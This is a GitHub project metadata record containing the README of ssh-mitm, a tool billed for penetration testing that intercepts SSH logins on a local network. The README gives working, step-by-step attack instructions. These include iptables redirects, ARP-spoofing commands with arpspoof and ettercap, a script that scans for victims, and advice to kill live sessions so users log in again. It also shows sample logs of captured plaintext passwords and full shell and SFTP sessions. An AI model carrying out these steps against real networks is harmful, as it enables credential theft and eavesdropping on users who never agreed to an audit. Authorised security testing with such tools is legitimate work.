{"id":13440437,"url":"https://github.com/jtesta/ssh-mitm","last_synced_at":"2025-05-16T08:05:21.182Z","repository":{"id":41003617,"uuid":"91498656","full_name":"jtesta/ssh-mitm","owner":"jtesta","description":"SSH man-in-the-middle tool","archived":false,"fork":false,"pushed_at":"2021-07-02T02:17:26.000Z","size":7618,"stargazers_count":1654,"open_issues_count":14,"forks_count":203,"subscribers_count":71,"default_branch":"master","last_synced_at":"2025-04-08T19:24:51.048Z","etag":null,"topics":["hacking","man-in-the-middle","man-in-the-middle-attack","mitm","penetration-testing","ssh"],"latest_commit_sha":null,"homepage":"","language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jtesta.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2017-05-16T19:55:10.000Z","updated_at":"2025-04-08T07:43:25.000Z","dependencies_parsed_at":"2022-08-02T18:00:17.503Z","dependency_job_id":null,"html_url":"https://github.com/jtesta/ssh-mitm","commit_stats":null,"previous_names":[],"tags_count":5,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jtesta%2Fssh-mitm","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jtesta%2Fssh-mitm/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jtesta%2Fssh-mitm/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jtesta%2Fssh-mitm/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jtesta","download_url":"https://codeload.github.com/jtesta/ssh-mitm/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":254493378,"owners_count":22080126,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["hacking","man-in-the-middle","man-in-the-middle-attack","mitm","penetration-testing","ssh"],"created_at":"2024-07-31T03:01:22.769Z","updated_at":"2025-05-16T08:05:16.172Z","avatar_url":"https://github.com/jtesta.png","language":"C","readme":"# SSH MITM v2.3-dev\n\nAuthor: [Joe Testa](https://www.positronsecurity.com/company/) ([@therealjoetesta](https://twitter.com/therealjoetesta))\n\n\n## Overview\n\nThis penetration testing tool allows an auditor to intercept SSH connections.  A patch applied to the OpenSSH v7.5p1 source code causes it to act as a proxy between the victim and their intended SSH server; all plaintext passwords and sessions are logged to disk.\n\nOf course, the victim's SSH client will complain that the server's key has changed.  But because 99.99999% of the time this is caused by a legitimate action (OS re-install, configuration change, etc), many/most users will disregard the warning and continue on.\n\n**NOTE:** Only run the modified *sshd_mitm* in a VM or container!  Ad-hoc edits were made to the OpenSSH sources in critical regions, with no regard to their security implications.  Its not hard to imagine these edits introduce serious vulnerabilities.\n\n\n## Change Log\n\n* v2.3: ???: Added support for Linux Mint 20 \u0026 Ubuntu 20.\n* v2.2: September 16, 2019: Fixed installation on Kali \u0026 Linux Mint 19.  Fixed a double-password prompt that occured under certain conditions.  Improved error logging.\n* v2.1: January 4, 2018: Enabled non-interactive command execution, connections to old servers with weak algorithms can now be intercepted, fixed two major bugs which caused AppArmor to kill some connections, and improved error logging.\n* v2.0: September 12, 2017: Added full SFTP support(!) and AppArmor confinement.\n* v1.1: July 6, 2017: Removed root privilege dependencies, added automatic installer, added Kali Linux support, added *JoesAwesomeSSHMITMVictimFinder.py* script to find potential targets on a LAN.\n* v1.0: May 16, 2017: Initial revision.\n\n\n## Running The Docker Image\n\nThe quickest \u0026 easiest way to get started is to use the Docker image with SSH MITM pre-built.\n\n1.) Obtain the image from Dockerhub with:\n\n    $ docker pull positronsecurity/ssh-mitm\n\n2.) Next, run the container with:\n\n    $ mkdir -p ${PWD}/ssh_mitm_logs \u0026\u0026 docker run --network=host -it --rm -v ${PWD}/ssh_mitm_logs:/home/ssh-mitm/log positronsecurity/ssh-mitm\n\n3.) Enable IP forwarding and NATing routes on your host machine:\n\n    # echo 1 \u003e /proc/sys/net/ipv4/ip_forward\n    # iptables -P FORWARD ACCEPT\n    # iptables -A INPUT -p tcp --dport 2222 -j ACCEPT\n    # iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222\n\n4.) Find targets on the LAN, and ARP spoof them (see below).\n\n5.) Shell and SFTP sessions will be logged in the `ssh_mitm_logs` directory.\n\n\n## Initial Setup\n\nAs root, run the *install.sh* script.  This will install prerequisites from the repositories, download the OpenSSH archive, verify its signature, compile it, and initialize a non-privileged environment to execute within.\n\n\n## Finding Targets\n\nThe *JoesAwesomeSSHMITMVictimFinder.py* script makes finding targets on a LAN very easy.  It will ARP spoof a block of IPs and sniff for SSH traffic for a short period of time before moving on to the next block.  Any ongoing SSH connections originating from devices on the LAN are reported.\n\nBy default, *JoesAwesomeSSHMITMVictimFinder.py* will ARP spoof and sniff only 5 IPs at a time for 20 seconds before moving onto the next block of 5.  These parameters can be tuned, though a trade-off exists: the more IPs that are spoofed at a time, the greater the chance you will catch an ongoing SSH connection, but also the greater the strain you will put on your puny network interface.  Under too high of a load, your interface will start dropping frames, causing a denial-of-service and greatly raising suspicions (this is bad).  The defaults shouldn't cause problems in most cases, though it'll take longer to find targets.  The block size can be safely raised on low-utilization networks.\n\nExample:\n\n    # ./JoesAwesomeSSHMITMVictimFinder.py --interface enp0s3 --ignore-ips 10.11.12.50,10.11.12.53\n    Found local address 10.11.12.141 and adding to ignore list.\n    Using network CIDR 10.11.12.141/24.\n    Found default gateway: 10.11.12.1\n    IP blocks of size 5 will be spoofed for 20 seconds each.\n    The following IPs will be skipped: 10.11.12.50 10.11.12.53 10.11.12.141\n\n\n    Local clients:\n      * 10.11.12.70 -\u003e 174.129.77.155:22\n      * 10.11.12.43 -\u003e 10.11.99.2:22\n\nThe above output shows that two devices on the LAN have created SSH connections (10.11.12.43 and 10.11.12.70); these can be targeted for a man-in-the-middle attack.  Note, however, that in order to potentially intercept credentials, you'll have to wait for them to initiate new connections.  Impatient pentesters may opt to forcefully close existing SSH sessions (using the *tcpkill* tool), prompting clients to create new ones immediately...\n\n\n## Running The Attack\n\n1.) Once you've completed the initial setup and found a list of potential victims (see above), execute *start.sh* as root.  This will start *sshd_mitm*, enable IP forwarding, and set up SSH packet interception through *iptables*.\n\n2.) ARP spoof the target(s) (**Protip:** do NOT spoof all the things!  Your puny network interface won't likely be able to handle an entire network's traffic all at once.  Only spoof a couple IPs at a time):\n\n    arpspoof -r -t 192.168.x.1 192.168.x.5\n\nAlternatively, you can use the *ettercap* tool:\n\n    ettercap -i enp0s3 -T -M arp /192.168.x.1// /192.168.x.5,192.168.x.6//\n\n3.) Monitor *auth.log*.  Intercepted passwords will appear here:\n\n    sudo tail -f /var/log/auth.log\n\n4.) Once a session is established, a full log of all input \u0026 output can be found in */home/ssh-mitm/*.  SSH sessions are logged as *shell_session_\\*.txt*, and SFTP sessions are logged as *sftp_session_\\*.html* (with transferred files stored in a corresponding directory).\n\n\n## Sample Results\n\nUpon success, */var/log/auth.log* will have lines that log the password, like this:\n\n    Sep 11 19:28:14 showmeyourmoves sshd_mitm[16798]: INTERCEPTED PASSWORD: hostname: [10.199.30.x]; username: [jdog]; password: [supercalifragilistic] [preauth]\n\nFurthermore, the victim's entire SSH session is logged:\n\n    # cat /home/ssh-mitm/shell_session_0.txt\n    Hostname: 10.199.30.x\n    Username: jdog\n    Password: supercalifragilistic\n    -------------------------\n    Last login: Thu Aug 31 17:42:38 2017\n    OpenBSD 6.1 (GENERIC.MP) #21: Wed Aug 30 08:21:38 CEST 2017\n\n    Welcome to OpenBSD: The proactively secure Unix-like operating system.\n\n    Please use the sendbug(1) utility to report bugs in the system.\n    Before reporting a bug, please try to reproduce it with the latest\n    version of the code.  With bug reports, please try to ensure that\n    enough information to reproduce the problem is enclosed, and if a\n    known fix for it exists, include that as well.\n\n    jdog@jefferson ~ $ ppss\n      PID TT  STAT       TIME COMMAND\n    59264 p0  Ss      0:00.02 -bash (bash)\n    52132 p0  R+p     0:00.00 ps\n    jdog@jefferson ~ $ iidd\n    uid=1000(jdog) gid=1000(jdog) groups=1000(jdog), 0(wheel)\n    jdog@jefferson ~ $ sssshh  jjtteessttaa@@mmaaggiiccbbooxx\n    jtesta@magicbox's password: ROFLC0PTER!!1juan\n\n\nNote that the characters in the user's commands appear twice in the file because the input from the user is recorded, as well as the output from the shell (which echoes characters back).  Observe that when programs like *sudo* and *ssh* temporarily disable echoing in order to read a password, duplicate characters are not logged.\n\nAll SFTP activity is captured as well.  Use a browser to view *sftp_session_0.html*.  It contains a log of commands, with links to files uploaded and downloaded:\n\n    # cat /home/ssh-mitm/sftp_session_0.txt\n    \u003chtml\u003e\u003cpre\u003eHostname: 10.199.30.x\n    Username: jdog\n    Password: supercalifragilistic\n    -------------------------\n    \u003e realpath \".\" (Result: /home/jdog)\n    \u003e realpath \"/home/jdog/.\" (Result: /home/jdog)\n    \u003e ls /home/jdog\n    drwxr-xr-x    4 jdog     jdog         4096 Sep 11 16:12 .\n    drwxr-xr-x    4 root     root         4096 Sep  6 11:53 ..\n    -rw-r--r--    1 jdog     jdog         3771 Aug 31  2015 .bashrc\n    -rw-r--r--    1 jdog     jdog          220 Aug 31  2015 .bash_logout\n    drwx------    2 jdog     jdog         4096 Sep  6 11:54 .cache\n    -rw-r--r--    1 jdog     jdog          655 May 16 08:49 .profile\n    drwx------    2 jdog     jdog         4096 Sep  8 16:59 .ssh\n    -rw-rw-r--    1 jdog     jdog      5242880 Sep  8 15:52 file\n    -rw-rw-r--    1 jdog     jdog        43131 Sep 10 10:47 file2\n    -rw-rw-r--    1 jdog     jdog           83 Sep  6 12:56 file3\n    -rw-rw-r--    1 jdog     jdog      3048960 Sep 11 13:51 file4\n\n    \u003e realpath \"/home/jdog/file5\" (Result: /home/jdog/file5)\n    \u003e put \u003ca href=\"sftp_session_0/file5\"\u003e/home/jdog/file5\u003c/a\u003e\n    \u003e realpath \"/home/jdog/file5\" (Result: /home/jdog/file5)\n    \u003e stat \"/home/jdog/file5\" (Result: flags: 15; size: 854072; uid: 1001; gid: 1001; perm: 0100664, atime: 1505172831, mtime: 1505172831)\n    \u003e setstat \"/home/jdog/file5\" (Result: flags: 4; size: 0; uid: 0; gid: 0; perm: 0100700, atime: 0, mtime: 0)\n    \u003c/pre\u003e\u003c/html\u003e\n\n\n## Developer Documentation\n\nIn *lol.h* are two defines: *DEBUG_HOST* and *DEBUG_PORT*.  Enable them and set the hostname to a test server.  Now you can connect to *sshd_mitm* directly without using ARP spoofing in order to test your changes, e.g.:\n\n    ssh -p 2222 valid_user_on_debug_host@localhost\n\nTo test out changes to the OpenSSH source code, use the *dev/redeploy.sh* script.\n\nTo see a diff of uncommitted changes, use the *dev/make_diff_of_uncommitted_changes.sh* script.\n\nTo re-generate a full patch to the OpenSSH sources, use the *dev/regenerate_patch.sh* script.\n","funding_links":[],"categories":["C","Tools","\u003ca id=\"79499aeece9a2a9f64af6f61ee18cbea\"\u003e\u003c/a\u003e浏览嗅探\u0026\u0026流量拦截\u0026\u0026流量分析\u0026\u0026中间人","\u003ca id=\"42f9e068b6511bcbb47d6b2b273097da\"\u003e\u003c/a\u003e未分类","Python (1887)","Python","2. [↑](#-content) Pentesting","penetration-testing","Network Tools","Network"],"sub_categories":["Binary files examination and editing","\u003ca id=\"11c73d3e2f71f3914a3bca35ba90de36\"\u003e\u003c/a\u003e中间人\u0026\u0026MITM","\u003ca id=\"3bd67ee9f322e2c85854991c85ed6da0\"\u003e\u003c/a\u003e投毒\u0026\u0026Poisoning","2.6 [↑](#-content) Network","Proxies and Machine-in-the-Middle (MITM) Tools","Network Tools"],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fjtesta%2Fssh-mitm","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fjtesta%2Fssh-mitm","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fjtesta%2Fssh-mitm/lists"}